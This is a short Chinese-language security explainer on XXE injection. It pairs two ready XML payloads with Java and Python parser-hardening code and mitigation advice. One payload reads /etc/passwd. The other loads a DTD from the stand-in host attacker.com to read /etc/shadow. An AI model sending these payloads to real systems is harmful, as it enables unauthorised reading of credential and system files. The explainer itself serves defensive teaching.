XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵XML输入来干扰应用程序的XML处理逻辑。攻击者可以利用此漏洞读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击、扫描内部端口,甚至可能导致远程代码执行。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
在这个例子中:
1. 定义了DOCTYPE声明,包含一个外部实体xxe
2. 实体xxe
被设置为读取系统文件/etc/passwd
3. 当XML解析器处理这个文档时,会将&xxe;
替换为/etc/passwd
文件的内容
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd" >
%xxe;
]>
<foo>&external;</foo>
其中evil.dtd
内容为:
<!ENTITY external SYSTEM "file:///etc/shadow" >
这个例子展示了如何通过外部DTD文件进行更复杂的攻击。
XXE漏洞通常出现在以下情况: 1. 应用程序接受XML输入 2. XML解析器配置为允许外部实体引用 3. 输入未经过适当的过滤或验证
XXE漏洞可能导致: - 任意文件读取 - 内部网络扫描 - 服务器端请求伪造(SSRF) - 拒绝服务攻击 - 在某些情况下可能导致远程代码执行
对于不同语言的XML解析器:
Java (DocumentBuilderFactory)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python (lxml)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
考虑使用JSON或其他数据格式替代XML。
对允许的XML元素和属性实施严格的白名单控制。
确保使用的XML处理器是最新版本,已知漏洞已修复。
许多知名公司和产品曾受到XXE漏洞影响,包括: - Facebook (2013) - WhatsApp (2019) - 多个银行系统 - 多个CMS系统
XXE漏洞在OWASP Top 10中多次被列为重要安全风险。